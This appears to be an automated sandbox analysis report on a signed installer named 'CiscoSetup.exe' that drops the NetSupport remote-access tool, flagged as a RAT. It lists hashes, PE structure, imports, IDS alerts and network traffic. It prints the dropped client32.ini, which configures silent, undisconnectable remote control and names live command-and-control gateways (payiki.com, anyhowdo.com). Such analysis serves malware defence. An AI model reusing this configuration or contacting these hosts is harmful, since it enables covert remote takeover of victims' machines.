Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:..~..L~..L~..L..pLi..L~..L..Lw.}Ls..L..DL..L..EL6..L..uL...L..tL...L..sL...LRich~..L................PE..L....J.`...........!.....>...r......n7.......P...............................P......1.....@..........................Q..m....D..........@................O.......I...R..............................P&..@............P...............................text...l=.......>.................. ..`.rdata.......P.......B..............@..@.data...H....`.......H..............@....rsrc...@............`..............@..@.reloc...J.......L...h..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Cisco\client32.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	121304
Entropy (8bit):	6.150456878585649
Encrypted:	false
SSDEEP:	768:Wm8j0+RvW6XhBBxUcnRWIDDDDDDDDDDDDDDDDADDDDDDDDDDDDDDDDDDDDDDXDJg:WbpvWiLniepfxP91/bQxEj
MD5:	4F2D0F4A5BA798FA9E85379C7C4BD36E
SHA1:	E533F2318D232EF3E1B22BDD1D6B61C081C6D6EB
SHA-256:	AAA12A1AD8C748FBFD4C8F2E5023EC3481B18CB088B28737FC7E665163CFF41D
SHA-512:	4C338E4F87F5AC9E9339E663739B021F06D8EE48F7A5981CCDF85029888964E3C416331C7EC791933A6B3D56EC44BB3719A38039F625A25B86BA0264E3D2D609
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe, Author: Joe Security
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........H..&...&...&.<.{...&...'...&.@."...&...-...&.x. ...&.Rich..&.........PE..L...m1.Q............................ ........ ....@..........................................................................0..<....@..pu..........H................ ..............................................X0...............................text............................... ..`.rdata....... ....... ..............@..@.idata.......0.......0..............@....rsrc...pu...@.......@..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Cisco\client32.ini

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	638
Entropy (8bit):	5.396410176198281
Encrypted:	false
SSDEEP:	12:kA2yTumGSqX4Ba/vpVSxOZ7zH+SHCPfu8AeCYubluxWkdcJPPGY:kttm18mxONeSorbu8eJ3f
MD5:	74BEF725496CD35EEB6F6B94E1EDDDFD
SHA1:	616AB761A1429E982062009B5C319F796A60BA1B
SHA-256:	8E016CA1A0837CA5F7D87656FE4153ED8639D33ADBEE9B07A3D033DB44EEC2A7
SHA-512:	C7DCFF6FF56DE463B5AB4CE89A9C6BFE5A021CABF959DA1AEF6D0DF19FA22376BD1D30749AD7A95315078F8007AF496DE3754A26A8C6C15294F31982E4F945B1
Malicious:	false
Preview:	0x562f5eff....[Client].._present=1..DisableReplayMenu=1..SecurityKey2=dgAAAFOeoOz0f0kq5efuvoPnH(MA..Protocols=3..SOS_RShift=0..DisableChat=1..Shared=1..ValidAddresses.TCP=..silent=1..AlwaysOnTop=0..SOS_Alt=0..DisableMessage=1..SOS_LShift=0..DisableRequestHelp=1..SysTray=0..UnloadMirrorOnDisconnect=0..DisableChatMenu=1..DisableDisconnect=1..AutoICFConfig=1..Usernames=....[_License]..quiet=1....[_Info]..Filename=C:\Users\Public\Pictures\client32-U.ini....[General]..BeepUsingSpeaker=0....[HTTP]..CMPI=60..GatewayAddress=payiki.com:443..GSK=FN9L=MBNHG;C=P@FFA;P?DAI9F<F..Port=443..SecondaryGateway=anyhowdo.com:443..SecondaryPort=443..

C:\Users\user\AppData\Roaming\Cisco\msvcr100.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	773968
Entropy (8bit):	6.901559811406837
Encrypted:	false
SSDEEP:	12288:nMmCy3nAgPAxN9ueqix/HEmxsvGrif8ZSy+rdQw2QRAtd74/vmYK6H3BVoe3z:MmCy3KxW3ixPEmxsvGrm8Z6r+JQPzV7z
MD5:	0E37FBFA79D349D672456923EC5FBBE3
SHA1:	4E880FC7625CCF8D9CA799D5B94CE2B1E7597335
SHA-256:	8793353461826FBD48F25EA8B835BE204B758CE7510DB2AF631B28850355BD18
SHA-512:	2BEA9BD528513A3C6A54BEAC25096EE200A4E6CCFC2A308AE9CFD1AD8738E2E2DEFD477D59DB527A048E5E9A4FE1FC1D771701DE14EF82B4DBCDC90DF0387630
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.y.~...~...~...w...}...~.......eD.....eD..+...eD..J...eD......eD......eD......eD......Rich~...................PE..L......M.........."!.........................0.....x......................................@..........................H......d...(.......................P.......$L...!..8...........................hE..@............................................text...!........................... ..`.data....Z...0...N..................@....rsrc................f..............@..@.reloc..$L.......N...j..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Cisco\nskbfltr.inf

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	328
Entropy (8bit):	4.93007757242403
Encrypted:	false
SSDEEP:	6:a0S880EeLL6sWqYFcf8KYFEAy1JoHBIr2M2OIAXFYJKRLIkg/LH2yi9vyifjBLWh:JShNvPG1JoHBx2XFhILH4Burn
MD5:	26E28C01461F7E65C402BDF09923D435
SHA1:	1D9B5CFCC30436112A7E31D5E4624F52E845C573
SHA-256:	D96856CD944A9F1587907CACEF974C0248B7F4210F1689C1E6BCAC5FED289368
SHA-512:	C30EC66FECB0A41E91A31804BE3A8B6047FC3789306ADC106C723B3E5B166127766670C7DA38D77D3694D99A8CDDB26BC266EE21DBA60A148CDF4D6EE10D27D7
Malicious:	false
Preview:	; nskbfltr.inf..;..; NS Keyboard Filter..; ..;..; This inf file installs the WDF Framework binaries....[Version]..Signature="$Windows NT$"..Provider=NSL......;..;--- nskbfltr Coinstaller installation ------..;......[nskbfltr.NT.Wdf]..KmdfService = nskbfltr, nskbfltr_wdfsect....[nskbfltr_wdfsect]..KmdfLibraryVersion = 1.5......

C:\Users\user\AppData\Roaming\Cisco\nsm_vpro.ini

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.532048032699691
Encrypted:	false
SSDEEP:	3:lsylULyJGI6csM:+ocyJGIPsM
MD5:	3BE27483FDCDBF9EBAE93234785235E3
SHA1:	360B61FE19CDC1AFB2B34D8C25D8B88A4C843A82
SHA-256:	4BFA4C00414660BA44BDDDE5216A7F28AECCAA9E2D42DF4BBFF66DB57C60522B
SHA-512:	EDBE8CF1CBC5FED80FEDF963ADE44E08052B19C064E8BCA66FA0FE1B332141FBE175B8B727F8F56978D1584BAAF27D331947C0B3593AAFF5632756199DC470E5
Malicious:	false
Preview:	[COMMON]..Storage_Enabled=0..Debug_Level=0....

C:\Users\user\AppData\Roaming\Cisco\pcicapi.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	33144
Entropy (8bit):	6.737780491933496
Encrypted:	false
SSDEEP:	768:FFvNhAyi5hHA448qZkSn+EgT8To1iTYiu:FCyoHA448qSSzgI2GQ
MD5:	DCDE2248D19C778A41AA165866DD52D0
SHA1:	7EC84BE84FE23F0B0093B647538737E1F19EBB03
SHA-256:	9074FD40EA6A0CAA892E6361A6A4E834C2E51E6E98D1FFCDA7A9A537594A6917
SHA-512:	C5D170D420F1AEB9BCD606A282AF6E8DA04AE45C83D07FAAACB73FF2E27F4188B09446CE508620124F6D9B447A40A23620CFB39B79F02B04BB9E513866352166
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\Cisco\pcicapi.dll, Author: Joe Security
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+-..E~..E~..E~.\.~..E~.\.~..E~...~..E~..D~..E~.\.~..E~.\.~..E~.\.~..E~.\.~..E~...~..E~.\.~..E~Rich..E~........PE..L......U...........!.....2...........<.......P...............................`............@..........................^.......W..d....@..x............X..x)...P......`Q...............................V..@............P..@............................text....1.......2.................. ..`.rdata.......P.......6..............@..@.data...,....`.......F..............@....rsrc...x....@.......H..............@..@.reloc.......P.......P..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Cisco\remcmdstub.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	72584
Entropy (8bit):	6.671736046146569
Encrypted:	false
SSDEEP:	1536:0fanvXuNOwphKuyUHTqYXHhrXH4xLIyqxoiuwbioQ+Dwajduw9tQ+8iAAe:+anPSpAFUzt0xLIyqVD9njdFyDAe
MD5:	2A2FC166269EFE48D61CB1AB92215DC2
SHA1:	A5679174D941919BAF764F94640994C01D695625
SHA-256:	73A522D9FFA9235FE2B6FD1059C551F8022437EC0EEF62EBC07240158F84A2A6
SHA-512:	13F76217664056D1FBB106820A3A7E3F44E81CD373C812E89BD6D315AC2A188A8140E0EC0A7BDA02BE62AFAB86F8962340E5889C6BBE36305C96D700871F9E1E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g.V#...#...#...L...2...*.r.&...#...t...L.K.u...L.J.>...L.{."...L.\|."...Rich#...........PE..L......^.....................J.......!............@.......................... ............@....................................<.......T................K..............................................@...............@............................text.............................. ..`.rdata..,%.......&..................@..@.data....-..........................@....rsrc...T...........................@..@.reloc..p...........................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\init_temp.zip

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	2275903
Entropy (8bit):	7.997003172118591
Encrypted:	true
SSDEEP:	49152:StY8YsXuUchyrrP04n5YQIQNtV8CyU7XBffG4ABLOdPY:v8Ysa8PDcQNtVzyc2JlOVY
MD5:	C56A7DCC8C1658FA154501AC0819BA7E
SHA1:	DF1910FF30AA8B64808B7BD7A6558FBFCF731A9A
SHA-256:	D43244539E6F2D18177BD4AEFA92D75F4DCA197B82D01E9D5B6065D501611AE6
SHA-512:	AA06D0B61B163B35B99DC7EDB61655BCB4D9B4C909E3EEBD0D4F587A9CEE8DE8FFD2A0E9FCA44E382D076AF2502EE962D73CD572BE39E8A35ABCFEDB0B386A96
Malicious:	false
Preview:	PK.........0.6........H..... .nskbfltr.infUT...t..F...gt..Fux.............U....@......A<n..<IO+.(Eh...E.NF...dF.o..Z...B......p...3RlRBU....W..$....4l.. .!...QY. ^..m.%......SL......9.w.R.tv....%.}..j..)...........0..F......V1.B6..y.WU...$..M....B1;~...&.)~...I....?.g.._..R..PK.........H...PK...........W.............. .NSM.LICUT...l}.dl}.dl}.dux.............-..NB1...........]..(7..C...%,.n.....3....6_Sm.......w^..'...=......e.x.f+$dW. .I.=.{y#.\|.....C.....tL.q.....hL>Q...D.j..8..W+ ..5\.....v.\|^...../7...X.V...b...9...X@A.....f.:....Fx.@..7.......U.~.PK....k%........PK........S..<.............. .nsm_vpro.iniUT...n:.K...gn:.Kux..............v.........../JLO.w.KL.IM.5..rIMM..I-K..qy..PK..I...-.......PK........bo.H........x..... .pcicapi.dllUT...x. W...gx. Wux...............\SG.8\|.a@ (.D..E1...$,B.[.@.\A.`@..D..1F.K..P...m.u_*.hk....Z..j...TQ.\|..MX.>.............3s.....7....bQ..d.Q.......5@r.....}........2.........~ZJnn........\~...?'/].....k.q....{.Us.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.977972473710182
TrID:	Win32 Executable (generic) a (10002005/4) 98.45% Inno Setup installer (109748/4) 1.08% Win32 EXE PECompact compressed (generic) (41571/9) 0.41% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02%
File name:	CiscoSetup.exe
File size:	16'877'888 bytes
MD5:	91f7229586df2c577a54ad0d1a5bdcb1
SHA1:	938b4ddf983e035130a7fcbf0458c4f9d5b69ca5
SHA256:	80f7768cbf016ae16f5758e31d9eb2d277c0566654f05bad152ecbde6eb616e5
SHA512:	089ec05f751306b994eb1265245961c2f51b89679f4b70c08a0404fcfd7d6d6deec8133ee5f3f04e82d7272ec4c95bee3859fa9c74be0b96966c569fef258c0e
SSDEEP:	393216:PexFZAWTc+MZ3mOvSY6oDXtVVFOzWt8zLDVi:+AL+WmOvS9qDSzHzL0
TLSH:	4B073327B28BA43DE4590B370572E63854F77E52A473BD2693E4B9ADCF371610C2E206
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	adaeb397f36b6331

Static PE Info

General

Entrypoint:	0x4a83bc
Entrypoint Section:	.itext
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6690DABD [Fri Jul 12 07:26:53 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	40ab50289f7ef5fae60801f88d4541fc

Authenticode Signature

Signature Valid:	true
Signature Issuer:	CN=GlobalSign GCC R45 EV CodeSigning CA 2020, O=GlobalSign nv-sa, C=BE
Signature Validation Error:	The operation completed successfully
Error Number:	0
Not Before, Not After	26/09/2024 07:47:26 27/09/2025 07:47:26
Subject Chain	E=makedasalzbergneu79@gmail.com, CN=OMICARE JOINT STOCK COMPANY, O=OMICARE JOINT STOCK COMPANY, L=Ha Noi, S=Ha Noi, C=VN, OID.1.3.6.1.4.1.311.60.2.1.2=Ha Noi, OID.1.3.6.1.4.1.311.60.2.1.3=VN, SERIALNUMBER=0108523661, OID.2.5.4.15=Private Organization
Version:	3
Thumbprint MD5:	92142F58BB541C3BD5CD828C76AE0FC4
Thumbprint SHA-1:	56FC98490B4845072947536B9E0AC121A37744E6
Thumbprint SHA-256:	CF7A5967658B1BDB4A50A13D22EF734C707876B01D8D4B1F94FA493C5D4F3F57
Serial:	7F07AA1BB8A3B0183893B1AA

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFA4h
push ebx
push esi
push edi
xor eax, eax
mov dword ptr [ebp-3Ch], eax
mov dword ptr [ebp-40h], eax
mov dword ptr [ebp-5Ch], eax
mov dword ptr [ebp-30h], eax
mov dword ptr [ebp-38h], eax
mov dword ptr [ebp-34h], eax
mov dword ptr [ebp-2Ch], eax
mov dword ptr [ebp-28h], eax
mov dword ptr [ebp-14h], eax
mov eax, 004A2EBCh
call 00007F0AB8B5F085h
xor eax, eax
push ebp
push 004A8AC1h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
xor edx, edx
push ebp
push 004A8A7Bh
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
mov eax, dword ptr [004B0634h]
call 00007F0AB8BF0A0Bh
call 00007F0AB8BF055Eh
lea edx, dword ptr [ebp-14h]
xor eax, eax
call 00007F0AB8BEB238h
mov edx, dword ptr [ebp-14h]
mov eax, 004B41F4h
call 00007F0AB8B59133h
push 00000002h
push 00000000h
push 00000001h
mov ecx, dword ptr [004B41F4h]
mov dl, 01h
mov eax, dword ptr [0049CD14h]
call 00007F0AB8BEC563h
mov dword ptr [004B41F8h], eax
xor edx, edx
push ebp
push 004A8A27h
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
call 00007F0AB8BF0A93h
mov dword ptr [004B4200h], eax
mov eax, dword ptr [004B4200h]
cmp dword ptr [eax+0Ch], 01h
jne 00007F0AB8BF777Ah
mov eax, dword ptr [004B4200h]
mov edx, 00000028h
call 00007F0AB8BECE58h
mov edx, dword ptr [004B4200h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0xb7000	0x71	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb5000	0xfec	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xcb000	0x44d7c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x1016000	0x2940
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xba000	0x10fa8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xb9000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xb52d4	0x25c	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0xb6000	0x1a4	.didata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xa568c	0xa5800	b889d302f6fc48a904de33d8d947ae80	False	0.3620185045317221	data	6.377190161826806	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0xa7000	0x1b64	0x1c00	588dd0a8ab499300d3701cbd11b017d9	False	0.548828125	data	6.109264411030635	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xa9000	0x3838	0x3a00	5c0c76e77aef52ebc6702430837ccb6e	False	0.35338092672413796	data	4.95916338709992	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0xad000	0x7258	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xb5000	0xfec	0x1000	627340dff539ef99048969aa4824fb2d	False	0.380615234375	data	5.020404933181373	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didata	0xb6000	0x1a4	0x200	fd11c1109737963cc6cb7258063abfd6	False	0.34765625	data	2.729290535217263	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0xb7000	0x71	0x200	7de8ca0c7a61668a728fd3a88dc0942d	False	0.1796875	data	1.305578535725827	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0xb8000	0x18	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xb9000	0x5d	0x200	d84006640084dc9f74a07c2ff9c7d656	False	0.189453125	data	1.3892750148744617	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xba000	0x10fa8	0x11000	a85fda2741bd9417695daa5fc5a9d7a5	False	0.5789579503676471	data	6.709466460182023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0xcb000	0x44d7c	0x44e00	32e5332dbe3e261662e315c2c1237cb1	False	0.19719118647912887	data	5.165226138525442	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xcb438	0x41828	Device independent bitmap graphic, 254 x 512 x 32, image size 260096	English	United States	0.19084478697713247
RT_STRING	0x10cc60	0x3f8	data			0.3198818897637795
RT_STRING	0x10d058	0x2dc	data			0.36475409836065575
RT_STRING	0x10d334	0x430	data			0.40578358208955223
RT_STRING	0x10d764	0x44c	data			0.38636363636363635
RT_STRING	0x10dbb0	0x2d4	data			0.39226519337016574
RT_STRING	0x10de84	0xb8	data			0.6467391304347826
RT_STRING	0x10df3c	0x9c	data			0.6410256410256411
RT_STRING	0x10dfd8	0x374	data			0.4230769230769231
RT_STRING	0x10e34c	0x398	data			0.3358695652173913
RT_STRING	0x10e6e4	0x368	data			0.3795871559633027
RT_STRING	0x10ea4c	0x2a4	data			0.4275147928994083
RT_RCDATA	0x10ecf0	0x10	data			1.5
RT_RCDATA	0x10ed00	0x310	data			0.6173469387755102
RT_RCDATA	0x10f010	0x2c	data			1.1818181818181819
RT_GROUP_ICON	0x10f03c	0x14	data	English	United States	1.25
RT_VERSION	0x10f050	0x584	data	English	United States	0.2747875354107649
RT_MANIFEST	0x10f5d4	0x7a8	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3377551020408163

Imports

DLL	Import
kernel32.dll	GetACP, GetExitCodeProcess, CloseHandle, LocalFree, SizeofResource, VirtualProtect, QueryPerformanceFrequency, VirtualFree, GetFullPathNameW, GetProcessHeap, ExitProcess, HeapAlloc, GetCPInfoExW, RtlUnwind, GetCPInfo, GetStdHandle, GetModuleHandleW, FreeLibrary, HeapDestroy, ReadFile, CreateProcessW, GetLastError, GetModuleFileNameW, SetLastError, FindResourceW, CreateThread, CompareStringW, LoadLibraryA, ResetEvent, GetVolumeInformationW, GetVersion, GetDriveTypeW, RaiseException, FormatMessageW, SwitchToThread, GetExitCodeThread, GetCurrentThread, LoadLibraryExW, LockResource, GetCurrentThreadId, UnhandledExceptionFilter, VirtualQuery, VirtualQueryEx, Sleep, EnterCriticalSection, SetFilePointer, LoadResource, SuspendThread, GetTickCount, GetFileSize, GetStartupInfoW, GetFileAttributesW, InitializeCriticalSection, GetSystemWindowsDirectoryW, GetThreadPriority, SetThreadPriority, GetCurrentProcess, VirtualAlloc, GetCommandLineW, GetSystemInfo, LeaveCriticalSection, GetProcAddress, ResumeThread, GetVersionExW, VerifyVersionInfoW, HeapCreate, GetWindowsDirectoryW, LCMapStringW, VerSetConditionMask, GetDiskFreeSpaceW, FindFirstFileW, GetUserDefaultUILanguage, lstrlenW, QueryPerformanceCounter, SetEndOfFile, HeapFree, WideCharToMultiByte, FindClose, MultiByteToWideChar, LoadLibraryW, SetEvent, CreateFileW, GetLocaleInfoW, GetSystemDirectoryW, DeleteFileW, GetLocalTime, GetEnvironmentVariableW, WaitForSingleObject, WriteFile, ExitThread, DeleteCriticalSection, TlsGetValue, GetDateFormatW, SetErrorMode, IsValidLocale, TlsSetValue, CreateDirectoryW, GetSystemDefaultUILanguage, EnumCalendarInfoW, LocalAlloc, GetUserDefaultLangID, RemoveDirectoryW, CreateEventW, SetThreadLocale, GetThreadLocale
comctl32.dll	InitCommonControls
user32.dll	CreateWindowExW, TranslateMessage, CharLowerBuffW, CallWindowProcW, CharUpperW, PeekMessageW, GetSystemMetrics, SetWindowLongW, MessageBoxW, DestroyWindow, CharUpperBuffW, CharNextW, MsgWaitForMultipleObjects, LoadStringW, ExitWindowsEx, DispatchMessageW
oleaut32.dll	SysAllocStringLen, SafeArrayPtrOfIndex, VariantCopy, SafeArrayGetLBound, SafeArrayGetUBound, VariantInit, VariantClear, SysFreeString, SysReAllocStringLen, VariantChangeType, SafeArrayCreate
advapi32.dll	ConvertStringSecurityDescriptorToSecurityDescriptorW, OpenThreadToken, AdjustTokenPrivileges, LookupPrivilegeValueW, RegOpenKeyExW, OpenProcessToken, FreeSid, AllocateAndInitializeSid, EqualSid, RegQueryValueExW, GetTokenInformation, ConvertSidToStringSidW, RegCloseKey

Exports

Name	Ordinal	Address
__dbk_fcall_wrapper	2	0x40fc10
dbkFCallWrapperAddr	1	0x4b063c

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-01T12:11:04.921590+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.4	49741	199.188.200.195	443	TCP
2024-11-01T12:11:04.921590+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.4	49739	151.236.16.15	443	TCP
2024-11-01T12:11:21.347015+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.4	49733	TCP
2024-11-01T12:12:00.049379+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.4	49743	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 1, 2024 12:11:33.228985071 CET	49739	443	192.168.2.4	151.236.16.15
Nov 1, 2024 12:11:33.229021072 CET	443	49739	151.236.16.15	192.168.2.4
Nov 1, 2024 12:11:33.229110003 CET	49739	443	192.168.2.4	151.236.16.15
Nov 1, 2024 12:11:33.264504910 CET	49740	80	192.168.2.4	172.67.68.212
Nov 1, 2024 12:11:33.269339085 CET	80	49740	172.67.68.212	192.168.2.4
Nov 1, 2024 12:11:33.269810915 CET	49740	80	192.168.2.4	172.67.68.212
Nov 1, 2024 12:11:33.287374973 CET	49740	80	192.168.2.4	172.67.68.212
Nov 1, 2024 12:11:33.292212009 CET	80	49740	172.67.68.212	192.168.2.4
Nov 1, 2024 12:11:33.312225103 CET	49739	443	192.168.2.4	151.236.16.15
Nov 1, 2024 12:11:33.312258005 CET	443	49739	151.236.16.15	192.168.2.4
Nov 1, 2024 12:11:33.312313080 CET	443	49739	151.236.16.15	192.168.2.4
Nov 1, 2024 12:11:33.327492952 CET	49741	443	192.168.2.4	199.188.200.195
Nov 1, 2024 12:11:33.327538013 CET	443	49741	199.188.200.195	192.168.2.4
Nov 1, 2024 12:11:33.327609062 CET	49741	443	192.168.2.4	199.188.200.195
Nov 1, 2024 12:11:33.393940926 CET	49741	443	192.168.2.4	199.188.200.195
Nov 1, 2024 12:11:33.393978119 CET	443	49741	199.188.200.195	192.168.2.4
Nov 1, 2024 12:11:33.394054890 CET	443	49741	199.188.200.195	192.168.2.4
Nov 1, 2024 12:11:34.059222937 CET	80	49740	172.67.68.212	192.168.2.4
Nov 1, 2024 12:11:34.060316086 CET	49740	80	192.168.2.4	172.67.68.212
Nov 1, 2024 12:13:23.067640066 CET	49740	80	192.168.2.4	172.67.68.212
Nov 1, 2024 12:13:23.073836088 CET	80	49740	172.67.68.212	192.168.2.4
Nov 1, 2024 12:13:23.073887110 CET	49740	80	192.168.2.4	172.67.68.212

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 1, 2024 12:11:32.885265112 CET	49988	53	192.168.2.4	1.1.1.1
Nov 1, 2024 12:11:33.110045910 CET	63722	53	192.168.2.4	1.1.1.1
Nov 1, 2024 12:11:33.119891882 CET	53	63722	1.1.1.1	192.168.2.4
Nov 1, 2024 12:11:33.166495085 CET	53	49988	1.1.1.1	192.168.2.4
Nov 1, 2024 12:11:33.313072920 CET	53099	53	192.168.2.4	1.1.1.1
Nov 1, 2024 12:11:33.325557947 CET	53	53099	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 1, 2024 12:11:32.885265112 CET	192.168.2.4	1.1.1.1	0x5408	Standard query (0)	payiki.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:11:33.110045910 CET	192.168.2.4	1.1.1.1	0x10f	Standard query (0)	geo.netsupportsoftware.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:11:33.313072920 CET	192.168.2.4	1.1.1.1	0x2abe	Standard query (0)	anyhowdo.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 1, 2024 12:11:33.119891882 CET	1.1.1.1	192.168.2.4	0x10f	No error (0)	geo.netsupportsoftware.com	172.67.68.212	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:11:33.119891882 CET	1.1.1.1	192.168.2.4	0x10f	No error (0)	geo.netsupportsoftware.com	104.26.0.231	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:11:33.119891882 CET	1.1.1.1	192.168.2.4	0x10f	No error (0)	geo.netsupportsoftware.com	104.26.1.231	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:11:33.166495085 CET	1.1.1.1	192.168.2.4	0x5408	No error (0)	payiki.com	151.236.16.15	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:11:33.325557947 CET	1.1.1.1	192.168.2.4	0x2abe	No error (0)	anyhowdo.com	199.188.200.195	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

geo.netsupportsoftware.com

151.236.16.15connection: keep-alivecmd=pollinfo=1ack=1

199.188.200.195connection: keep-alivecmd=pollinfo=1ack=1

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
